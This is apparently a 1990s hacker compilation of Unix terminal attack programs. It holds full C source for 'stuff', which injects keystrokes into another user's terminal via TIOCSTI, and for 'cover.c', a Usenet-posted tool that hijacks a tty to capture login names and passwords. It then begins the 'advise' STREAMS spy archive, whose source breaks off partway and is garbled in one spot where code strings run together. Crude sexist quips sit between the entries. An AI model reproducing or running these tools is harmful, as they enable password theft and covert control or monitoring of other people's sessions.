|
||
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
If men are interested in only one thing, why do we like beer so much?
|
||
|
||
==============================================================================
|
||
stufftty.c 4.cb.15.03 04/04/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Terminals
|
||
=========
|
||
Under 4.2BSD and it's derivatives, a user can "write" on another users
|
||
terminal as if he was really there. Here is some code I call "stuff"
|
||
to show off this nasty bug.
|
||
/*
|
||
* Stuff: program to stuff input into another terminal.
|
||
*
|
||
* This program bypasses the normal superuser check for stuffing chars
|
||
* into other people's terminals. All you need is write permission on
|
||
* the user's terminal.
|
||
*/
|
||
|
||
#include <sgtty.h>
|
||
#include <stdio.h>
|
||
|
||
main(argc, argv)
|
||
char **argv;
|
||
{
|
||
register int fd; /* file descriptor */
|
||
char ch; /* current character */
|
||
char name[100]; /* tty name */
|
||
struct sgttyb sb; /* old and new tty flags */
|
||
struct sgttyb nsb;
|
||
|
||
if (argc < 2)
|
||
{
|
||
fprintf(stderr, "stuff ttyname\n");
|
||
exit(1);
|
||
}
|
||
argv++;
|
||
if (**argv == '/')
|
||
strcpy(name, *argv); /* build full name */
|
||
else
|
||
sprintf(name, "/dev/%s", *argv);
|
||
|
||
if (setpgrp(0, 0)) /* clear my process group */
|
||
{
|
||
perror("spgrp");
|
||
goto done;
|
||
}
|
||
|
||
if (open(name, 1) < 0) /* open tty, making it mine */
|
||
{
|
||
perror(name);
|
||
exit(1);
|
||
}
|
||
|
||
fd = open("/dev/tty", 2); /* open read/write as tty */
|
||
|
||
if (fd < 0)
|
||
{
|
||
perror("/dev/tty");
|
||
exit(1);
|
||
}
|
||
|
||
ioctl(0, TIOCGETP, &sb); /* go to raw mode */
|
||
nsb = sb;
|
||
nsb.sg_flags |= RAW;
|
||
nsb.sg_flags &= ~ECHO;
|
||
ioctl(0, TIOCSETN, &nsb);
|
||
sigsetmask(-1); /* stop hangups */
|
||
printf("Connected. Type ^B to exit\r\n");
|
||
while (1)
|
||
{
|
||
if (read(0, &ch, 1) <= 0) break;
|
||
if ((ch & 0x7f) == '\002') break;
|
||
if (ioctl(fd, TIOCSTI, &ch)) /* stuff char on "his" tty */
|
||
{
|
||
perror("\r\nsti failed\r");
|
||
goto done;
|
||
}
|
||
ch &= 0x7f; /* echo it for me */
|
||
if (ch < ' ')
|
||
{
|
||
if ((ch == '\r') || (ch == '\n'))
|
||
{
|
||
write(1, "\r\n", 2);
|
||
continue;
|
||
}
|
||
ch += '@';
|
||
write(1, "^", 1);
|
||
write(1, &ch, 1);
|
||
continue;
|
||
}
|
||
if (ch == '\177') {
|
||
write(1, "^?", 2);
|
||
continue;
|
||
}
|
||
write(1, &ch, 1);
|
||
}
|
||
|
||
done: ioctl(0, TIOCSETN, &sb); /* reset tty */
|
||
}
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
This is not for the timid, shy, moralistically superior, easily offended,
|
||
religous types, system administrators, old foggies, EFF members...etc
|
||
|
||
==============================================================================
|
||
tty-spy1: cover.c 4.cb.15.04 04/04/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
|
||
From: fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta)
|
||
Newsgroups: alt.security,alt.sources,comp.unix.internals
|
||
Subject: BSD tty security - an example
|
||
Message-ID: <15678@life.ai.mit.edu>
|
||
Date: 8 May 91 09:59:14 GMT
|
||
|
||
Here's a small program I wrote a while back. It speaks for itself,
|
||
compile it, run it in the background (with &) and sit back.
|
||
This program is an official release of the TimeWasters from HOLLAND !
|
||
|
||
---
|
||
|
||
|
||
/************************************************************************/
|
||
/* cover.c, version 2.5, Copyright (C) 1991 by WasteWare. */
|
||
/* Unauthorized use and reproduction prohibited. */
|
||
/* This program monitors the login process and records its findings. */
|
||
/************************************************************************/
|
||
|
||
|
||
#include <stdio.h>
|
||
#include <signal.h>
|
||
#include <fcntl.h>
|
||
#include <errno.h>
|
||
#include <sys/types.h>
|
||
#include <sys/termios.h>
|
||
|
||
#define DEBUG 1 /* Enable additional debugging info (needed!) */
|
||
#define USLEEP /* Define this if your UNIX supports usleep() */
|
||
|
||
#ifdef ULTRIX
|
||
#define TCGETS TCGETP/* Get termios structure */
|
||
#define TCSETS TCSANOW/* Set termios structure */
|
||
#endif
|
||
|
||
|
||
handler(signal)
|
||
int signal; /* signalnumber */
|
||
{ /* do nothing, ignore the signal */
|
||
if(DEBUG) printf("Ignoring signal %d\n",signal);
|
||
}
|
||
|
||
int readandpush(f,string)
|
||
FILE *f;
|
||
char *string;
|
||
{
|
||
char *cp,*result;
|
||
int e;
|
||
struct termios termios;
|
||
|
||
result=fgets(string,20,f); /* Read a line into string */
|
||
if (result==NULL)
|
||
{perror("fgets()");
|
||
return(1);
|
||
}
|
||
if (DEBUG)
|
||
{printf("String: %s\n",string);
|
||
fflush(stdout);
|
||
}
|
||
|
||
ioctl(0,TCGETS,&termios);/* These 3 lines turn off input echo */
|
||
/* echo = (termios.c_lflag & ECHO);*/
|
||
termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
|
||
ioctl(0,TCSETS,&termios);
|
||
|
||
for (cp=string;*cp;cp++) /* Push it back as input */
|
||
{ e=ioctl(0,TIOCSTI,cp);
|
||
if(e<0)
|
||
{perror("ioctl()");
|
||
return(1);
|
||
}
|
||
}
|
||
return(0);
|
||
}
|
||
|
||
main(argc,argv)
|
||
int argc;
|
||
char *argv[];
|
||
{
|
||
/* variables */
|
||
int err;
|
||
FILE *f;
|
||
char *term = "12345678901234567890";
|
||
char *login = "12345678901234567890";
|
||
char *password = "12345678901234567890";
|
||
|
||
if (argc < 2)
|
||
{ printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
|
||
printf("Enter ttyname: ");
|
||
gets(term);
|
||
}
|
||
else term=argv[argc-1];
|
||
|
||
signal(SIGQUIT,handler);
|
||
signal(SIGINT,handler);
|
||
signal(SIGTERM,handler);
|
||
signal(SIGHUP,handler);
|
||
signal(SIGTTOU,handler);
|
||
|
||
close(0); /* close stdin */
|
||
#ifdef ULTRIX
|
||
if(setpgrp(0,100)==-1)
|
||
perror("setpgrp:"); /* Hopefully this works */
|
||
#else
|
||
if(setsid()==-1)
|
||
perror("setsid:"); /* Disconnect from our controlling TTY and
|
||
start a new session as sessionleader */
|
||
#endif
|
||
f=fopen(term,"r"); /* Open tty as a stream, this guarantees
|
||
getting file descriptor 0 */
|
||
if (f==NULL)
|
||
{ printf("Error opening %s with fopen()\n",term);
|
||
exit(2);
|
||
}
|
||
if (DEBUG) system("ps -xu>>/dev/null &");
|
||
fclose(f); /* Close the TTY again */
|
||
f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */
|
||
if (f==NULL)
|
||
{ printf("Error opening /dev/tty with fopen()\n",term);
|
||
exit(2);
|
||
}
|
||
|
||
if(readandpush(f,login)==0)
|
||
{
|
||
#ifdef USLEEP
|
||
usleep(20000);/* This gives login(1) a chance to read the
|
||
string, or the second call would read the
|
||
input that the first call pushed back ! /*
|
||
#else
|
||
for(i=0;i<1000;i++)
|
||
err=err+(i*i)
|
||
/* error/* Alternatives not yet implemented */
|
||
#endif
|
||
readandpush(f,password);
|
||
printf("Result: First: %s Second: %s\n",login,password);
|
||
}
|
||
|
||
fflush(stdout);
|
||
sleep(30); /* Waste some time, to prevent that we send a SIGHUP
|
||
to login(1), which would kill the user. Instead,
|
||
wait a while. We then send SIGHUP to the shell of
|
||
the user, which will ignore it. */
|
||
fclose(f);
|
||
}
|
||
|
||
From: urban@cbnewsl.att.com (john.urban)
|
||
Newsgroups: alt.security,alt.sources,comp.unix.internals
|
||
Subject: Re: BSD tty security - an example
|
||
Message-ID: <1991May9.182941.16988@cbnewsl.att.com>
|
||
Date: 9 May 91 18:29:41 GMT
|
||
|
||
In article <15678@life.ai.mit.edu> fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) writes:
|
||
>Here's a small program I wrote a while back. It speaks for itself,
|
||
>compile it, run it in the background (with &) and sit back.
|
||
>This program is an official release of the TimeWasters from HOLLAND !
|
||
>
|
||
>---
|
||
> close(0); /* close stdin */
|
||
>#ifdef ULTRIX
|
||
>if(setpgrp(0,100)==-1)
|
||
>perror("setpgrp:"); /* Hopefully this works */
|
||
>#else
|
||
>if(setsid()==-1)
|
||
>perror("setsid:"); /* Disconnect from our controlling TTY and
|
||
> start a new session as sessionleader */
|
||
>#endif
|
||
> f=fopen(term,"r"); /* Open tty as a stream, this guarantees
|
||
> getting file descriptor 0 */
|
||
> if (f==NULL)
|
||
> { printf("Error opening %s with fopen()\n",term);
|
||
> exit(2);
|
||
> }
|
||
>if (DEBUG) system("ps -xu>>/dev/null &");
|
||
> fclose(f); /* Close the TTY again */
|
||
> f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */
|
||
> if (f==NULL)
|
||
> { printf("Error opening /dev/tty with fopen()\n",term);
|
||
> exit(2);
|
||
> }
|
||
|
||
This program does not exhibit the problem on AT&T UNIX System V/386 Release 4.0
|
||
Version 2.[01]. The fopen of "/dev/tty" fails because the setsid() passed
|
||
successfully.
|
||
|
||
In this small program:
|
||
# cat T.c
|
||
main()
|
||
{
|
||
setsid();
|
||
fopen("/dev/tty", "r");
|
||
}
|
||
# make T
|
||
cc -O T.c -o T
|
||
# truss ./T
|
||
|
||
You'll see the fopen fails w/ ENXIO. If the setsid() is removed, then the
|
||
fopen passes fine.
|
||
|
||
|
||
Sincerely,
|
||
|
||
John Ben Urban
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments: Buggy and needs some clean up work. Someone please submit a re-do.
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
There's something about a beautiful woman without a brain in her head that
|
||
can still be exciting...
|
||
|
||
==============================================================================
|
||
tty-spy2 4.cb.15.05 04/04/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
|
||
From: ag@cbmvax.commodore.com (Keith Gabryelski)
|
||
Newsgroups: alt.sources
|
||
Subject: advise (spy) for streams ttys.
|
||
Message-ID: <15193@cbmvax.commodore.com>
|
||
Date: 16 Oct 90 23:26:25 GMT
|
||
|
||
The included source code includes
|
||
|
||
advise.c# a user program to interact with
|
||
# the advise device and module.
|
||
|
||
advisedev.c# the advise device driver.
|
||
# (requests to attach to a users terminal
|
||
# are done through this device)
|
||
|
||
advisemod.c# the advise module.
|
||
# (this module is pushed onto the advisee's
|
||
# tty stream so advisedev may attach to
|
||
# it.)
|
||
|
||
advisemod.h# useful header file.
|
||
|
||
COPYING Makefile# Other files.
|
||
|
||
Pax, Keith
|
||
|
||
Ps, This will only work under System V Release 4.0 streams ttys.
|
||
|
||
With little effort it could be made to work under other streams
|
||
tty subsystems.
|
||
|
||
No amount of effort (save re-thinking and re-implimenting) will
|
||
make this thing work on non-streams based ttys.
|
||
|
||
#! /bin/sh
|
||
# This is a shell archive, meaning:
|
||
# 1. Remove everything above the #! /bin/sh line.
|
||
# 2. Save the resulting text in a file.
|
||
# 3. Execute the file with /bin/sh (not csh) to create the files:
|
||
#COPYING
|
||
#Makefile
|
||
#advise.c
|
||
#advise.man
|
||
#advisedev.c
|
||
#advisemod.c
|
||
#advisemod.h
|
||
# This archive created: Tue Oct 16 19:15:42 1990
|
||
export PATH; PATH=/bin:$PATH
|
||
if test -f 'COPYING'
|
||
then
|
||
echo shar: will not over-write existing file "'COPYING'"
|
||
else
|
||
cat << \SHAR_EOF > 'COPYING'
|
||
|
||
Advise GENERAL PUBLIC LICENSE
|
||
(Clarified 11 Feb 1988)
|
||
|
||
Copyright (C) 1988 Free Software Foundation, Inc.
|
||
Everyone is permitted to copy and distribute verbatim copies
|
||
of this license, but changing it is not allowed. You can also
|
||
use this wording to make the terms for other programs.
|
||
|
||
The license agreements of most software companies keep you at the
|
||
mercy of those companies. By contrast, our general public license is
|
||
intended to give everyone the right to share Advise. To make sure that
|
||
you get the rights we want you to have, we need to make restrictions
|
||
that forbid anyone to deny you these rights or to ask you to surrender
|
||
the rights. Hence this license agreement.
|
||
|
||
Specifically, we want to make sure that you have the right to give
|
||
away copies of Advise, that you receive source code or else can get it
|
||
if you want it, that you can change Advise or use pieces of it in new
|
||
free programs, and that you know you can do these things.
|
||
|
||
To make sure that everyone has such rights, we have to forbid you to
|
||
deprive anyone else of these rights. For example, if you distribute
|
||
copies of Advise, you must give the recipients all the rights that you
|
||
have. You must make sure that they, too, receive or can get the
|
||
source code. And you must tell them their rights.
|
||
|
||
Also, for our own protection, we must make certain that everyone
|
||
finds out that there is no warranty for Advise. If Advise is modified by
|
||
someone else and passed on, we want its recipients to know that what
|
||
they have is not what we distributed, so that any problems introduced
|
||
by others will not reflect on our reputation.
|
||
|
||
Therefore we (Richard Stallman and the Free Software Foundation,
|
||
Inc.) make the following terms which say what you must do to be
|
||
allowed to distribute or change Advise.
|
||
|
||
|
||
COPYING POLICIES
|
||
|
||
1. You may copy and distribute verbatim copies of Advise source code
|
||
as you receive it, in any medium, provided that you conspicuously and
|
||
appropriately publish on each copy a valid copyright notice "Copyright
|
||
(C) 1988 Free Software Foundation, Inc." (or with whatever year is
|
||
appropriate); keep intact the notices on all files that refer to this
|
||
License Agreement and to the absence of any warranty; and give any
|
||
other recipients of the Advise program a copy of this License
|
||
Agreement along with the program. You may charge a distribution fee
|
||
for the physical act of transferring a copy.
|
||
|
||
2. You may modify your copy or copies of Advise or any portion of it,
|
||
and copy and distribute such modifications under the terms of
|
||
Paragraph 1 above, provided that you also do the following:
|
||
|
||
a) cause the modified files to carry prominent notices stating
|
||
that you changed the files and the date of any change; and
|
||
|
||
b) cause the whole of any work that you distribute or publish,
|
||
that in whole or in part contains or is a derivative of Advise or
|
||
any part thereof, to be licensed at no charge to all third
|
||
parties on terms identical to those contained in this License
|
||
Agreement (except that you may choose to grant more extensive
|
||
warranty protection to some or all third parties, at your option).
|
||
|
||
c) You may charge a distribution fee for the physical act of
|
||
transferring a copy, and you may at your option offer warranty
|
||
protection in exchange for a fee.
|
||
|
||
Mere aggregation of another unrelated program with this program (or its
|
||
derivative) on a volume of a storage or distribution medium does not bring
|
||
the other program under the scope of these terms.
|
||
|
||
3. You may copy and distribute Advise (or a portion or derivative of it,
|
||
under Paragraph 2) in object code or executable form under the terms of
|
||
Paragraphs 1 and 2 above provided that you also do one of the following:
|
||
|
||
a) accompany it with the complete corresponding machine-readable
|
||
source code, which must be distributed under the terms of
|
||
Paragraphs 1 and 2 above; or,
|
||
|
||
b) accompany it with a written offer, valid for at least three
|
||
years, to give any third party free (except for a nominal
|
||
shipping charge) a complete machine-readable copy of the
|
||
corresponding source code, to be distributed under the terms of
|
||
Paragraphs 1 and 2 above; or,
|
||
|
||
c) accompany it with the information you received as to where the
|
||
corresponding source code may be obtained. (This alternative is
|
||
allowed only for noncommercial distribution and only if you
|
||
received the program in object code or executable form alone.)
|
||
|
||
For an executable file, complete source code means all the source code for
|
||
all modules it contains; but, as a special exception, it need not include
|
||
source code for modules which are standard libraries that accompany the
|
||
operating system on which the executable file runs.
|
||
|
||
4. You may not copy, sublicense, distribute or transfer Advise
|
||
except as expressly provided under this License Agreement. Any attempt
|
||
otherwise to copy, sublicense, distribute or transfer Advise is void and
|
||
your rights to use the program under this License agreement shall be
|
||
automatically terminated. However, parties who have received computer
|
||
software programs from you with this License Agreement will not have
|
||
their licenses terminated so long as such parties remain in full compliance.
|
||
|
||
5. If you wish to incorporate parts of Advise into other free programs
|
||
whose distribution conditions are different, write to the Free Software
|
||
Foundation at 675 Mass Ave, Cambridge, MA 02139. We have not yet worked
|
||
out a simple rule that can be stated here, but we will often permit this.
|
||
We will be guided by the two goals of preserving the free status of all
|
||
derivatives of our free software and of promoting the sharing and reuse of
|
||
software.
|
||
|
||
Your comments and suggestions about our licensing policies and our
|
||
software are welcome! Please contact the Free Software Foundation, Inc.,
|
||
675 Mass Ave, Cambridge, MA 02139, or call (617) 876-3296.
|
||
|
||
NO WARRANTY
|
||
|
||
BECAUSE ADVISE IS LICENSED FREE OF CHARGE, WE PROVIDE ABSOLUTELY NO
|
||
WARRANTY, TO THE EXTENT PERMITTED BY APPLICABLE STATE LAW. EXCEPT
|
||
WHEN OTHERWISE STATED IN WRITING, FREE SOFTWARE FOUNDATION, INC,
|
||
RICHARD M. STALLMAN AND/OR OTHER PARTIES PROVIDE ADVISE "AS IS" WITHOUT
|
||
WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT
|
||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||
A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND
|
||
PERFORMANCE OF ADVISE IS WITH YOU. SHOULD ADVISE PROVE DEFECTIVE, YOU
|
||
ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||
|
||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL RICHARD M.
|
||
STALLMAN, THE FREE SOFTWARE FOUNDATION, INC., AND/OR ANY OTHER PARTY
|
||
WHO MAY MODIFY AND REDISTRIBUTE GNU SEND AS PERMITTED ABOVE, BE LIABLE TO
|
||
YOU FOR DAMAGES, INCLUDING ANY LOST PROFITS, LOST MONIES, OR OTHER
|
||
SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR
|
||
INABILITY TO USE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA
|
||
BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY THIRD PARTIES OR A
|
||
FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS) GNU SEND, EVEN
|
||
IF YOU HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR
|
||
ANY CLAIM BY ANY OTHER PARTY.
|
||
SHAR_EOF
|
||
fi # end of overwriting check
|
||
if test -f 'Makefile'
|
||
then
|
||
echo shar: will not over-write existing file "'Makefile'"
|
||
else
|
||
cat << \SHAR_EOF > 'Makefile'
|
||
# Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
|
||
#
|
||
# This file is part of advise.
|
||
#
|
||
# advise is distributed in the hope that it will be useful,
|
||
# but WITHOUT ANY WARRANTY. No author or distributor
|
||
# accepts responsibility to anyone for the consequences of using it
|
||
# or for whether it serves any particular purpose or works at all,
|
||
# unless he says so in writing. Refer to the advise General Public
|
||
# License for full details.
|
||
#
|
||
# Everyone is granted permission to copy, modify and redistribute
|
||
# advise, but only under the conditions described in the
|
||
# advise General Public License. A copy of this license is
|
||
# supposed to have been given to you along with advise so you
|
||
# can know your rights and responsibilities. It should be in a
|
||
# file named COPYING. Among other things, the copyright notice
|
||
# and this notice must be preserved on all copies. */
|
||
#
|
||
# Author:Keith Gabryelski(ag@amix.commodore.com)
|
||
#
|
||
|
||
CC=gcc
|
||
CFLAGS=-O
|
||
|
||
all: advise
|
||
|
||
advise.o: advisemod.h
|
||
SHAR_EOF
|
||
fi # end of overwriting check
|
||
if test -f 'advise.c'
|
||
then
|
||
echo shar: will not over-write existing file "'advise.c'"
|
||
else
|
||
cat << \SHAR_EOF > 'advise.c'
|
||
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
|
||
|
||
This file is part of advise.
|
||
|
||
advise is distributed in the hope that it will be useful,
|
||
but WITHOUT ANY WARRANTY. No author or distributor
|
||
accepts responsibility to anyone for the consequences of using it
|
||
or for whether it serves any particular purpose or works at all,
|
||
unless he says so in writing. Refer to the advise General Public
|
||
License for full details.
|
||
|
||
Everyone is granted permission to copy, modify and redistribute
|
||
advise, but only under the conditions described in the
|
||
advise General Public License. A copy of this license is
|
||
supposed to have been given to you along with advise so you
|
||
can know your rights and responsibilities. It should be in a
|
||
file named COPYING. Among other things, the copyright notice
|
||
and this notice must be preserved on all copies. */
|
||
|
||
/*
|
||
** Author:Keith Gabryelski(ag@amix.commodore.com)
|
||
*/
|
||
|
||
#include <sys/types.h>
|
||
#include <sys/stat.h>
|
||
#include <signal.h>
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
#include <fcntl.h>
|
||
#include <stropts.h>
|
||
#include <poll.h>
|
||
#include <sys/stream.h>
|
||
#include <errno.h>
|
||
#include <utmp.h>
|
||
#include <pwd.h>
|
||
#include <termios.h>
|
||
#include <string.h>
|
||
#include <ctype.h>
|
||
#include "advisemod.h"
|
||
|
||
extern char *optarg;
|
||
|
||
#define max(a,b) ((a)>(b)?(a):(b))
|
||
|
||
static struct module_list
|
||
{
|
||
char *name;/* name of module */
|
||
struct module_list *next;/* next module to be pushed */
|
||
} advise_module_list =
|
||
{
|
||
"advise", NULL,
|
||
};
|
||
|
||
static void usage(void), advise(char *);
|
||
static char *strchar(char);
|
||
static struct module_list *list_modules(int, char *);
|
||
|
||
static int allow_deny_p, allow_deny;
|
||
static int allow_advise_p, allow_advise;
|
||
static int error_flag;
|
||
static int secret, spy;
|
||
static int meta_character = '~';
|
||
static char *progname;
|
||
static char *module = "ldterm";
|
||
|
||
int
|
||
main(int argc, char **argv)
|
||
{
|
||
int c, error = 0;
|
||
struct termios termios;
|
||
struct module_list *modules;
|
||
|
||
progname = *argv;
|
||
|
||
while((c = getopt(argc, argv, "ADM:Sadm:s?")) != EOF)
|
||
{
|
||
switch(c)
|
||
{
|
||
case 's':
|
||
spy++;
|
||
break;
|
||
|
||
case 'S':
|
||
if (!getuid())
|
||
secret++;
|
||
break;
|
||
|
||
case 'a':
|
||
allow_deny_p++;
|
||
allow_deny=ADVISE_ALLOW;
|
||
allow_advise_p++;
|
||
allow_advise++;
|
||
break;
|
||
|
||
case 'd':
|
||
allow_advise_p++;
|
||
allow_advise=0;
|
||
break;
|
||
|
||
case 'A':
|
||
allow_deny_p++;
|
||
allow_deny=ADVISE_ALLOW;
|
||
break;
|
||
|
||
case 'D':
|
||
allow_deny_p++;
|
||
allow_deny=ADVISE_DENY;
|
||
break;
|
||
|
||
case 'm':
|
||
meta_character = optarg[0];
|
||
break;
|
||
|
||
case 'M':
|
||
module = optarg;
|
||
break;
|
||
|
||
case '?':
|
||
error_flag++;
|
||
break;
|
||
}
|
||
|
||
if (error_flag)
|
||
{
|
||
usage();
|
||
}
|
||
}
|
||
|
||
if (allow_advise_p)
|
||
{
|
||
int status = ioctl(0, ADVISE_STATUS, &status);
|
||
|
||
if (allow_advise && status)
|
||
{
|
||
int advise_module_pushed = 0;
|
||
|
||
/* Push advise module on stream */
|
||
(void) ioctl(0, TCGETS, &termios);
|
||
|
||
modules = list_modules(0, module);
|
||
|
||
advise_module_list.next = modules;
|
||
|
||
for (modules = &advise_module_list;
|
||
modules != NULL;
|
||
modules = modules->next)
|
||
{
|
||
|
||
if (!strcmp(modules->name, "advise"))
|
||
{
|
||
if (advise_module_pushed)
|
||
continue;
|
||
|
||
advise_module_pushed = 1;
|
||
}
|
||
|
||
if (ioctl(0, I_PUSH, modules->name))
|
||
{
|
||
(void) fprintf(stderr, "%s: Couldn't I_PUSH: %s (%s).\n",
|
||
progname, modules->name, strerror(errno));
|
||
error++;
|
||
}
|
||
}
|
||
|
||
(void) ioctl(0, TCSETS, &termios);
|
||
}
|
||
|
||
if (!allow_advise && !status)
|
||
{
|
||
(void) ioctl(0, TCGETS, &termios);
|
||
|
||
modules = list_modules(0, "advise");
|
||
|
||
while (modules != NULL)
|
||
{
|
||
if (strcmp(modules->name, "advise"))
|
||
{
|
||
if (ioctl(0, I_PUSH, modules->name))
|
||
{
|
||
(void) fprintf(stderr,
|
||
"%s: Couldn't I_PUSH: %s (%s).\n",
|
||
progname, modules->name,
|
||
strerror(errno));
|
||
error++;
|
||
}
|
||
}
|
||
|
||
modules = modules->next;
|
||
}
|
||
|
||
(void) ioctl(0, TCSETS, &termios);
|
||
}
|
||
|
||
if (!allow_deny_p)
|
||
return error ? 1 : 0;
|
||
}
|
||
|
||
if (allow_deny_p)
|
||
{
|
||
if (ioctl(0, allow_deny, 0))
|
||
{
|
||
if (errno == EINVAL)
|
||
{
|
||
(void) fprintf(stderr, "%s: module \"advise\" not in stream.\n",
|
||
progname);
|
||
}
|
||
else
|
||
{
|
||
(void) fprintf(stderr, "%s: Couldn't set advisory mode (%s).\n",
|
||
progname, strerror(errno));
|
||
}
|
||
|
||
return 1;
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
|
||
/* All switches have been handled */
|
||
|
||
argc -= optind;
|
||
argv += optind;
|
||
|
||
if (argc > 1)
|
||
{
|
||
usage();
|
||
}
|
||
|
||
if (argc == 0)
|
||
{
|
||
int status;
|
||
|
||
/*
|
||
** Status of advise.
|
||
*/
|
||
|
||
if (ioctl(0, ADVISE_STATUS, &status))
|
||
{
|
||
printf("Module \"advise\" not pushed on stream.\n");
|
||
}
|
||
else
|
||
{
|
||
printf("Advise access %s\n", status ? "allowed" : "denied");
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
|
||
advise(*argv);
|
||
|
||
return 0;
|
||
}
|
||
|
||
void
|
||
usage()
|
||
{
|
||
(void) fprintf(stderr, "usage: %s [-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]\n",
|
||
progname);
|
||
exit(1);
|
||
}
|
||
|
||
static void
|
||
advise(char *who)
|
||
{
|
||
int ret, fd, metad=0;
|
||
char buf[1024], *device, *devname, *login_name, *tty_name;
|
||
struct pollfd pfds[2];
|
||
struct termios termios, oldtermios;
|
||
struct stat stbuf;
|
||
struct utmp *ut, uts;
|
||
char username[sizeof(ut->ut_name) + 1];
|
||
|
||
username[0] = '\0';
|
||
|
||
if (*who == '/') /* full path name */
|
||
device = who;
|
||
else
|
||
{
|
||
/* Either this is /dev/ + who OR a username */
|
||
|
||
setutent();
|
||
|
||
while ((ut = getutent()) != NULL)
|
||
{
|
||
if (!strncmp(who, ut->ut_name, sizeof(ut->ut_name)))
|
||
{
|
||
device = (char *)malloc(sizeof("/dev/") +
|
||
sizeof(ut->ut_name));
|
||
|
||
if (device == NULL)
|
||
{
|
||
(void) fprintf(stderr,
|
||
"%s: malloc failed (Out of Memory)\n",
|
||
progname);
|
||
|
||
exit(1);
|
||
}
|
||
|
||
strcpy(device, "/dev/");
|
||
strncat(device, ut->ut_name, sizeof(ut->ut_name));
|
||
device[sizeof("/dev/")+sizeof(ut->ut_name)] = '\0';
|
||
|
||
strncpy(username, ut->ut_name, sizeof(ut->ut_name));
|
||
username[sizeof(ut->ut_name)] = '\0';
|
||
break;
|
||
}
|
||
}
|
||
|
||
if (ut == NULL) /* Is /dev/ + who */
|
||
{
|
||
device = (char *)malloc(sizeof("/dev/") + strlen(who));
|
||
|
||
if (device == NULL)
|
||
{
|
||
(void) fprintf(stderr, "%s: malloc failed (Out of Memory)\n",
|
||
progname);
|
||
|
||
exit(1);
|
||
}
|
||
|
||
strcpy(device, "/dev/");
|
||
strcat(device, who);
|
||
}
|
||
|
||
endutent();
|
||
}
|
||
|
||
devname = device + sizeof("/dev/") - 1;
|
||
|
||
if (username[0] == '\0')
|
||
{
|
||
setutent();
|
||
|
||
strncpy(uts.ut_line, devname, sizeof(uts.ut_line));
|
||
|
||
if ((ut = getutline(&uts)) != NULL)
|
||
{
|
||
strncpy(username, ut->ut_name, sizeof(ut->ut_name));
|
||
username[sizeof(ut->ut_name)] = '\0';
|
||
}
|
||
else
|
||
{
|
||
strcpy(username, "unknown");
|
||
}
|
||
|
||
endutent();
|
||
}
|
||
|
||
if (stat(device, &stbuf) < 0)
|
||
{
|
||
if (errno == ENOENT)
|
||
{
|
||
(void) fprintf(stderr, "%s: no advisee device: , spy ? "spying" : "advising", username, devname);
|
||
|
||
data.len = strlen(str);
|
||
data.buf = str;
|
||
|
||
(void) putmsg(fd, &ctl, &data, 0);
|
||
|
||
free(str);
|
||
}
|
||
}
|
||
|
||
|
||
if (!spy)
|
||
{
|
||
(void) ioctl(0, TCGETS, &termios);
|
||
|
||
oldtermios = termios;
|
||
termios.c_cc[VMIN] = 1;
|
||
termios.c_cc[VTIME] = 0;
|
||
termios.c_lflag &= ~(ISIG|ICANON|ECHO);
|
||
|
||
(void) ioctl(0, TCSETS, &termios);
|
||
}
|
||
|
||
pfds[0].fd = fd;
|
||
pfds[0].events = POLLIN;
|
||
|
||
pfds[1].fd = 0;
|
||
pfds[1].events = POLLIN;
|
||
|
||
for (;;)
|
||
{
|
||
if (poll(pfds, 2, INFTIM) < 0)
|
||
continue;
|
||
|
||
if ((pfds[0].revents&POLLIN) != 0) /* data from advisee ready */
|
||
{
|
||
if ((ret = read(fd, buf, sizeof(buf))) > 0)
|
||
write(1, buf, ret);
|
||
}
|
||
|
||
if ((pfds[1].revents&POLLIN) != 0) /* data from advisor ready */
|
||
{
|
||
if ((ret = read(0, buf, sizeof(buf))) > 0)
|
||
{
|
||
if (!spy)
|
||
{
|
||
register int i;
|
||
register char *p = buf, *pp=buf;
|
||
|
||
for (i=0; i < ret; ++i, p++)
|
||
{
|
||
if (metad)
|
||
{
|
||
if (metad == 2)
|
||
{
|
||
meta_character = *p;
|
||
printf("The meta character is now: %s\n",
|
||
strchar(meta_character));
|
||
pp++;
|
||
metad = 0;
|
||
continue;
|
||
}
|
||
|
||
switch (*p)
|
||
{
|
||
case '=':
|
||
metad=2;
|
||
pp++;
|
||
break;
|
||
|
||
case '?':
|
||
{
|
||
char *escstr = strchar(meta_character);
|
||
|
||
printf("Help for meta character <%s>:\n",
|
||
escstr);
|
||
